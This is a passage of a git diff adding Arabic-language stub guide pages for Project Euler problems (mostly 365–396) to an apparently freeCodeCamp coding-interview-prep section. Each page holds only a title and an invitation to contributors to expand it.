index 0000000000..3991ec9277
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md
@@ -0,0 +1,9 @@
+---
+title: A huge binomial coefficient
+localeTitle: معامل ذو الحدين ضخم
+---
+## مشكلة 365: معامل ذو الحدين ضخم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-365-a-huge-binomial-coefficient/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md
new file mode 100644
index 0000000000..a03d8f2ad0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md
@@ -0,0 +1,9 @@
+---
+title: Stone Game III
+localeTitle: لعبة الحجر الثالث
+---
+## المشكلة 366: لعبة الحجر الثالث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-366-stone-game-iii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md
new file mode 100644
index 0000000000..5e67c360d7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md
@@ -0,0 +1,9 @@
+---
+title: Bozo sort
+localeTitle: فرز بوزو
+---
+## المشكلة 367: فرز بوزو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-367-bozo-sort/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md
new file mode 100644
index 0000000000..f83575cc5f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md
@@ -0,0 +1,9 @@
+---
+title: A Kempner-like series
+localeTitle: سلسلة تشبه Kempner
+---
+## المشكلة 368: سلسلة تشبه Kempner
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-368-a-kempner-like-series/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md
new file mode 100644
index 0000000000..c3f323ae64
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md
@@ -0,0 +1,9 @@
+---
+title: Badugi
+localeTitle: Badugi
+---
+## المشكلة 369: Badugi
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-369-badugi/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md
new file mode 100644
index 0000000000..f9513325aa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Truncatable primes
+localeTitle: الأعداد الأولية
+---
+## المشكلة 37: الأولية Truncatable
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-37-truncatable-primes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md
new file mode 100644
index 0000000000..779f347644
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Geometric triangles
+localeTitle: مثلثات هندسية
+---
+## المشكلة 370: مثلثات هندسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-370-geometric-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md
new file mode 100644
index 0000000000..d9500d1e98
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md
@@ -0,0 +1,9 @@
+---
+title: Licence plates
+localeTitle: رخصة شقة
+---
+## المشكلة 371: لوحات الترخيص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-371-licence-plates/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md
new file mode 100644
index 0000000000..cf40b0d66c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md
@@ -0,0 +1,9 @@
+---
+title: Pencils of rays
+localeTitle: أقلام من الأشعة
+---
+## المشكلة 372: أقلام من الأشعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-372-pencils-of-rays/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md
new file mode 100644
index 0000000000..8060406462
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Circumscribed Circles
+localeTitle: دوائر مغلقة
+---
+## المشكلة 373: الدوائر المنتشرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-373-circumscribed-circles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md
new file mode 100644
index 0000000000..3b17f3217c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum Integer Partition Product
+localeTitle: الحد الأقصى لعدد صحيح التقسيم المنتج
+---
+## المشكلة 374: الحد الأقصى لمنتج التقسيم صحيحاً
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-374-maximum-integer-partition-product/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md
new file mode 100644
index 0000000000..b3f9372bcd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Minimum of subsequences
+localeTitle: الحد الأدنى من التبديلات
+---
+## المشكلة 375: الحد الأدنى من التوابع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-375-minimum-of-subsequences/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md
new file mode 100644
index 0000000000..0be09b1f60
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Nontransitive sets of dice
+localeTitle: مجموعات غير نادرة من النرد
+---
+## المشكلة 376: مجموعات غير نادرة من النرد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-376-nontransitive-sets-of-dice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md
new file mode 100644
index 0000000000..eb076abd53
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of digits, experience 13
+localeTitle: مجموع الأرقام ، الخبرة 13
+---
+## المشكلة 377: مجموع الأرقام ، الخبرة 13
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-377-sum-of-digits-experience-13/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md
new file mode 100644
index 0000000000..f66d62e182
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle Triples
+localeTitle: مثلث ثلاثية
+---
+## المشكلة 378: Triangle Triples
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-378-triangle-triples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md
new file mode 100644
index 0000000000..3dc9535028
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Least common multiple count
+localeTitle: أقل عدد مشترك شائع
+---
+## مشكلة 379: عد متعددة شائعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-379-least-common-multiple-count/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md
new file mode 100644
index 0000000000..aac048808d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital multiples
+localeTitle: متعددة Pandigital
+---
+## المشكلة 38: مضاعفات Pandigital
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-38-pandigital-multiples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md
new file mode 100644
index 0000000000..fc689b08a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md
@@ -0,0 +1,9 @@
+---
+title: Amazing Mazes!
+localeTitle: متاهات مذهلة!
+---
+## المشكلة 380: المتاهات المدهشة!
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md
new file mode 100644
index 0000000000..de8d77382e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: (prime-k) factorial
+localeTitle: (prime-k) factorial
+---
+## المشكلة 381: (prime-k) factorial
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md
new file mode 100644
index 0000000000..2cfe3db4b8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Generating polygons
+localeTitle: توليد المضلعات
+---
+## المشكلة 382: إنشاء المضلعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md
new file mode 100644
index 0000000000..42626a2b34
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisibility comparison between factorials
+localeTitle: مقارنة القسمة بين المخزنين
+---
+## المشكلة 383: مقارنة القسمة بين العوامل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md
new file mode 100644
index 0000000000..baf6853f2f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Rudin-Shapiro sequence
+localeTitle: تسلسل Rudin-Shapiro
+---
+## المشكلة 384: تسلسل Rudin-Shapiro
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md
new file mode 100644
index 0000000000..48ba54bc0c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Ellipses inside triangles
+localeTitle: الحذف داخل المثلثات
+---
+## المشكلة 385: علامات الحذف داخل المثلثات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md
new file mode 100644
index 0000000000..58d06ed88d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum length of an antichain
+localeTitle: الحد الأقصى لطول antichain
+---
+## المشكلة 386: الحد الأقصى لطول antichain
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md
new file mode 100644
index 0000000000..62510015fe
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Harshad Numbers
+localeTitle: أرقام هارشاد
+---
+## المشكلة 387: أرقام هارشاد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md
new file mode 100644
index 0000000000..12b08fc1d2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct Lines
+localeTitle: خطوط متميزة
+---
+## المشكلة 388: الخطوط المميزة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md
new file mode 100644
index 0000000000..a5a0d73d6f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Platonic Dice
+localeTitle: النرد الأفلاطوني
+---
+## المشكلة 389: النرد الأفلاطوني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md
new file mode 100644
index 0000000000..0cd02ea601
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer right triangles
+localeTitle: المثلثات الصحيحة الصحيحة
+---
+## المشكلة 39: مثلثات صحيحة عدد صحيح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md
new file mode 100644
index 0000000000..cd614b6f2d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles with non rational sides and integral area
+localeTitle: مثلثات ذات جوانب غير عقلانية ومنطقة متكاملة
+---
+## المشكلة 390: مثلثات ذات جوانب غير عقلانية ومنطقة متكاملة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md
new file mode 100644
index 0000000000..a70354d730
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Hopping Game
+localeTitle: لعبة القفز
+---
+## مشكلة 391: لعبة القفز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md
new file mode 100644
index 0000000000..2467ca909a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md
@@ -0,0 +1,9 @@
+---
+title: Enmeshed unit circle
+localeTitle: دائرة وحدة مشوشة
+---
+## المشكلة 392: دائرة الوحدة المختلطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md
new file mode 100644
index 0000000000..e30e1d55ca
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md
@@ -0,0 +1,9 @@
+---
+title: Migrating ants
+localeTitle: هجرة النمل
+---
+## المشكلة 393: هجرة النمل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md
new file mode 100644
index 0000000000..8509bd7806
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md
@@ -0,0 +1,9 @@
+---
+title: Eating pie
+localeTitle: تناول الفطيرة
+---
+## المشكلة 394: تناول الفطيرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md
new file mode 100644
index 0000000000..913daf7894
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean tree
+localeTitle: شجرة فيثاغورس
+---
+## المشكلة 395: شجرة فيثاغورس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md
new file mode 100644
index 0000000000..19f7f0b69a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Weak Goodstein sequence
+localeTitle: تسلسل ضعيف Goodstein
+---
+## المشكلة 396: تتابع ضعيف Goodstein
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md) .
+
